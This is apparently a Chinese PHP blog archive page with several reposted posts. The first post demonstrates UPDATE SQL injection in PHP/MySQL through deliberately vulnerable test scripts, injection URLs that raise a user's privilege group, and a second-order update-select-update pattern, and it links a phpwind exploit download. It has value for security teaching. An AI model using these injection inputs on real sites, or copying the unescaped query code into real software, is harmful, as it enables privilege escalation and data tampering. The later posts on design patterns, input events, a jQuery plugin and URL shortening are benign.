手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表2025年07月的文章

UPDATE注射(mysql+php)的两个模式

寂寞hack的文章,简单的介绍了一些注入方法,可以了解一下,但并没有那样的实用,经知道现在很多框架、代码都采用了PDO,使用了prepare的方法,基本上可以避免这些问题的发生。当然,光靠这些是不一定能够完全避免的,代码上还是要严格控制一下。

原文来自于:http://hi.baidu.com/isbx/blog/item/35d86a605b1fbf48eaf8f851.html


一、测试环境

OS: Windowsxp sp2
php: php 4.3.10
mysql 4.1.9
apache 1.3.33

二、测试数据库结构

SQL代码
  1. -- 数据库: `test`  
  2. --  
  3. -- --------------------------------------------------------  
  4. --   
  5. -- 表的结构 `userinfo`  
  6. --  
  7.   
  8. CREATE TABLE `userinfo` (  
  9. `groudid` varchar(12) NOT NULL default '1',  
  10. `uservarchar(12) NOT NULL default 'heige',  
  11. `pass` varchar(122) NOT NULL default '123456'  
  12. ) ENGINE=MyISAM DEFAULT CHARSET=latin1;  
  13.   
  14. --   
  15. -- 导出表中的数据 `userinfo`  
  16. --  
  17.   
  18. INSERT INTO `userinfo` VALUES ('2', 'heige', '123456')  

三、测试模式

1、变量没有带''或""

PHP代码
  1. <?php  
  2. //test1.php Mod1  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass=$p where user='heige'";//<--$P没有使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  
脚本里只是修改 user=&apos;heige&apos; 的 pass,如果 groudid 表示用户的权限等级,我们的目的就是通过构造 $p 来达到修改 groupid 的目的,那么我们提交:

http://127.0.0.1/test1.php?p=123456,groudid=1

在mysql里查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.01 sec)  

用户heige的groudid又2改为1了 :)

所以我们可以得到没有&apos;&apos;或""update的注射是可以成功的,这个就是我们的模式1。

2、变量带&apos;&apos;或""

PHP代码
  1. <?php  
  2. //test2.php  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. $userinfo = mysql_fetch_array($result);  
  14.   
  15. echo "<p>SQL Query:$sql<p>";  
  16. ?>  

为了关闭&apos;我们构造$p应该为 123456&apos;,groudid=&apos;2 提交:

http://127.0.0.1/test2.php?p=123456&apos;,groudid=&apos;1

在gpc=on的情况下&apos;变成了\&apos;,提交的语句变成:

SQL Query:update userinfo set pass=&apos;123456\&apos;,groudid=\&apos;1&apos; where user=&apos;heige&apos;

 

mysql查询:

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------------------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------------------+  
  5. | 2 | heige | 123456',groudid='1 |  
  6. +---------+-------+--------------------+  
  7. 1 row in set (0.00 sec)  
groudid并没有被修改。那么在变量被&apos;&apos;或""时 就完全没有被注射呢?不是 下面我们看模式2:

PHP代码
  1. <?php  
  2. //test3.php Mod2  
  3. $servername = "localhost";  
  4. $dbusername = "root";  
  5. $dbpassword = "";  
  6. $dbname = "test";  
  7.   
  8. mysql_connect($servername,$dbusername,$dbpasswordor die ("数据库连接失败");  
  9.   
  10. $sql = "update userinfo set pass='$p' where user='heige'";//<--$P使用单引号  
  11.   
  12. $result = mysql_db_query($dbname$sql);  
  13. mysql_fetch_array($result); //$p的数据写入数据库  
  14.   
  15. $sql"select pass from userinfo where user='heige'";  
  16. $result = mysql_db_query($dbname$sql);  
  17. $userinfo=mysql_fetch_array($result);  
  18.   
  19. echo $userinfo[0]; //把pass查询输出给$userinfo[0]  
  20.   
  21. $sql ="update userinfo set pass='$userinfo[0]' where user='heige'";  
  22. $result = mysql_db_query($dbname$sql);  
  23. mysql_fetch_array($result); //把$userinfo[0] 再次update  
  24.   
  25. ?>  
我们测试下,提交:

 

http://127.0.0.1/test3.php?p=123456&apos;,groudid=&apos;1

回mysql查询下 :

SQL代码
  1. mysql> select * from userinfo;  
  2. +---------+-------+--------+  
  3. | groudid | user | pass |  
  4. +---------+-------+--------+  
  5. | 1 | heige | 123456 |  
  6. +---------+-------+--------+  
  7. 1 row in set (0.00 sec)  
HaHa~~ 成功注射 修改groudid为1。 这个就是我们的模式2了,简单的描叙如下:

 

 

update --> select --> update

 


四、实际模式

模式1:缺

模式2:phpwind 2.0.2和3.31e 权限提升漏洞

漏洞分析

 

update (profile.php 注射变量为$proicon update语句里为,icon=&apos;$userdb[icon]&apos;)

select (jop.php)

updtate (jop.php)
Exploit: http://www.huij.net/9xiao/up/phpwind-exploit.exe

知识:代理(Proxy)和委派(Delegate)的区别

说实话,如果不是必要,真不是特别推荐采用proxy方法。特别是在PHP中,采用proxy势必会造成include文件过多。IO的消耗非常恐怖,如果又采用openbasedir,那么还要恐怖 。性能会下降的很厉害。。。

下面是老王的文章:

模式是程序员之间的交流语言,代理(Proxy)和委派(Delegate)是模式中常见的词汇,不过很多人把他们混淆了,甚至等同起来,这会造成很多沟通交流上的误解,下面说说他们的区别,先看一个UML图:



图形已经表述的很直白了,如果还不清晰,可以看看下面的代码:

PHP代码
  1. interface Subject  
  2. {  
  3.     public function DoAction();  
  4. }  
  5.   
  6. class RealSubject implements Subject  
  7. {  
  8.     public function DoAction()  
  9.     {  
  10.         echo '_RealSubject::DoAction_';  
  11.     }  
  12. }  
  13.   
  14. class Proxy implements Subject  
  15. {  
  16.     public function __construct()  
  17.     {  
  18.         $this->subject = new RealSubject();  
  19.     }  
  20.   
  21.     public function DoAction()  
  22.     {  
  23.         echo 'Proxy::DoAction';  
  24.         $this->subject->DoAction();  
  25.         echo 'Proxy::DoAction';  
  26.     }  
  27. }  
  28.   
  29. $proxy = new Proxy();  
  30. $proxy->DoAction();  


运行结果输出:Proxy::DoAction_RealSubject::DoAction_Proxy::DoAction

如果你还没有看出端倪,我就再废话几句:首先从词性来看,代理(Proxy)是名词,委派(Delegate)是动词,其次代理说明了若干个对象实现了一个共同的接口,而委派只是说明一个对象引用了另一个对象,并不牵扯接口。

既然说到这了,就再唠叨几句:什么时候适合使用Proxy模式呢?对PHP而言,一般是当需要给对象附加额外的逻辑时,而这些逻辑和原有逻辑又分属不同的 层次,此时就可以考虑使用Proxy模式。听起来有点拗口,说一个实际的例子,比如说我们实现了Article对象,里面封装了CRUD方法,现在我们要 加入权限判断,控制CRUD的访问限制,这些新加入的逻辑属于应用逻辑,而原有的逻辑属于持久化逻辑,从分层角度看它们不应该放在一个对象里,此时就可以 创建一个ArticleProxy代理对象,用来实现权限判断,至于CRUD操作,则通过委派给Article对象来完成。

当年的JIVE论坛大量使用了此类方法,不过现在JIVE论坛早已销声匿迹,但思想还是可以借鉴的。通过使用代理模式,可以把不同侧重点的逻辑分别封装到 不同的对象里去(和装饰模式有点像,至于如何区分就是另一个话题了),从而避免God Class的产生,不过这样设计的结果会产生大量的类,孰重孰轻还得视客观情况而定。
原文来自:http://hi.baidu.com/thinkinginlamp/blog/item/2297a7efcb52a31afdfa3cc2.html
老王一天到晚在研究新奇玩意,上次说在PC下安装object-C,也是我挺喜欢的。

 

Tags: proxy, delegate

input输入框内的事件输入事件详细分析

毋庸置疑,对于input的操作,是javascript中最常用,最多见的操作。因此对于input的相关各种事件也就是大家都必须要关心的。
大家耳熟能详的大约也就是:onChange,onClick,onDbClick,onFocus,onBlur之类。onDbClick一般都难以遇到,但其实这并不全。翻开jQuery的手册,你会发现对于事件处理,有很多。大部分都是针对于input的,当然也有对于img对象的。
以下就是全文:

1.基础:本次分析原理就是在各个浏览器下input内容变化的时候触发事件的各种不兼容性.在ie下用onpropertychange事件,在其他浏览器里用input事件.

2.用例:对每个浏览器分别测试如下的情况:

–输入英文字母时–开启输入法时–大小写不同时–输入运算符时–按下tab键时–输入法中按下空格时–按下控制键时–复制粘贴时–删除文本时–等等

3.测试开始:(只标出特殊情况,没标出的表示正常触发,每次只触发一次事件)

chrome:+开启输入法时,可以捕捉到输入事 件.+开启输入法的时候按下空格键,触发两次事件,猜测一次是空格触发的,一次是输入法改变输入框里的文本时触发的.+开启输入法的时候,按下空格后,立 即按下大写锁定,此后所有的输入事件都会被触发两次,原因不知.+没有开启输入法的时候,方向键不会触发事件,但是开启输入法后,方向键可以触发事件.+ 剪切和粘贴都会触发事件.+tab键不处罚事件,开启输入法时,按tab键触发事件.+按住shift和其他键(例如:数字键),每输入一个字符触发两次 事件.

Firefox:+开启输入法时,不能扑捉到事件,但 是按下空格时,可以触发两次事件.+任何时候方向键都不触发事件.+开启输入法的时候,按下空格后,立即按下大写锁定,此后所有的输入事件都会被触发两 次,原因不知.+按下tab键的时候不触发事件.++Firefox页面刷新的时候内容会被保留在输入框里.+按住shift和其他键(例如:数字键), 每输入一个字符触发两次事件.

opera:+正常情况下,在输入框里按下tab键会 触发一次事件,但是此后只要不刷新页面,tab键都不会再触发此事件.+开启输入法后不会触发事件,开启后,方向键和tab键都不触发事件.+开启输入法 时,按下空格只触发一次事件,不会出现触发两次事件的情况.+粘贴的时候触发事件,剪切的时候不触发

ie:+输入法不会触发事件,按空格也都是只触发一次,方向键任何时刻都不触发.+刷新页面的时候内容会留在input里,而且注意,不管input是不是空的,刷新页面后自动触发一次事件.

3.总结.

就一句话,差异很大.

注意input事件可以用在chrome,Firefox,opera里,但是只能用 addEventListener绑定,不能用ontype形式,而onpropertychange可以用on形式,也可以用attachEvent绑定

--EOF--
了解这些兼容性的处理,对于页面的操作处理方面才会有更好的效果和用户体验。原文来自于http://www.beiju123.cn/blog/?p=375,是我采用read it later读回来的。。

Tags: input

基于jQuery的singleEdit

官方的例子用起来很爽,所以,如果觉得有适用的话,可以尝试一用。当然我不认为这玩意可以真正用在前台上,如果用于后台还是可以接受的。唯一可以尝试用于前台的就是日历控件,长的也不错。压缩后20K还是可以被广大人民群众所接受。如果可以再分拆,或许会更小吧?试了一下,感觉效率不是特别的高?但真的扔在后台还是问题不大的。
样式也不错。。。。
官方在http://www.wbfsaworkstation.com.cn/#,好长的网址啊
大小: 20.71 K
尺寸: 454 x 346
浏览: 1923 次
点击打开新窗口浏览全图
大小: 32.95 K
尺寸: 500 x 338
浏览: 1891 次
点击打开新窗口浏览全图

Tags: singleedit, jquery

网址缩短程序是怎么做的

正好看到这篇文章 ,而且他也是用PHP的。所以就转一下,而且我自己也有一些短域名,可以用来做尝试。就象最近,新浪的围脖上,如果你贴了网站,他都会转成sinaurl的,这样对于新浪来说又多了一个PV。

原文如下

     近来微博很火,因为字数的限制,出现了很多网址缩短这种服务,比如sina自己用了自家的sinaurl.cn,想到自己曾经也注册了一个很短的域名k6.hk很久了,一直闲着,不知道干嘛用,突然想到可以用来做网址缩短,还不错。说干就干,一会就写好了。比如我的博客地址就可以缩短成:http://k6.hk/u 

程序的设计很简单,下面说下原理,

    数据库只有两个字段seq(自增长数字)和url(数字的url地址,建立索引)。

    用户输入一个url地址,查询表是否包含此url,如果存在,则返回seq的数字,

    如果不存在,则插入数据库,得到一个新增加的自增seq数字,为了缩短数字占用的字符数,我们可以把abc等字母的大小写用上。这样10个数字,26个 小写字母,26个大小字母就组成了一个62进制了。比如数字10000000000(100亿)转换后就是aUKYOA,只有6位了,这样就能缩短很多的 网址了。

    下面是php的进制转换代码,来源于php手册(简单吧),当然其他语言实现也是很简单的,

PHP代码
  1. <?php  
  2. //十进制转到其他制  
  3. function dec2any( $num$base=62, $index=false ) {  
  4.     if (! $base ) {  
  5.         $base = strlen$index );  
  6.     } else if (! $index ) {  
  7.         $index = substr"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" ,0 ,$base );  
  8.     }  
  9.     $out = "";  
  10.     for ( $t = floor( log10( $num ) / log10( $base ) ); $t >= 0; $t-- ) {  
  11.         $a = floor$num / pow( $base$t ) );  
  12.         $out = $out . substr$index$a, 1 );  
  13.         $num = $num - ( $a * pow( $base$t ) );  
  14.     }  
  15.     return $out;  
  16. }  
  17.   
  18. function any2dec( $num$base=62, $index=false ) {  
  19.     if (! $base ) {  
  20.         $base = strlen$index );  
  21.     } else if (! $index ) {  
  22.         $index = substr"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 0, $base );  
  23.     }  
  24.     $out = 0;  
  25.     $len = strlen$num ) - 1;  
  26.     for ( $t = 0; $t <= $len$t++ ) {  
  27.         $out = $out + strpos$indexsubstr$num$t, 1 ) ) * pow( $base$len - $t );  
  28.     }  
  29.     return $out;  
  30. }  
    上面只是说了下实现的原理,如果要大规模的使用,后端可以抛弃数据,用key-value数据库存储,比如ttserver,将会有很高的性能提升。

      如果改下ttserver的源代码,通过ttserver的http接口直接跳转,那么性能将会非常高,一台机器一天提供上10亿次的中专都不是问题。用两台机器就可以实现高可用了,这种服务都不怎么耗费流量的。

 

--EOF--

我倒是不太清楚这个ttserver,但是我想,如果安装了memcached,也会很不错的。首次命中后直接存在memcached里,下次就可以直接访问了。当然更可以做的是,完全生成相应的跳转文件。这样就比较无耻一点了。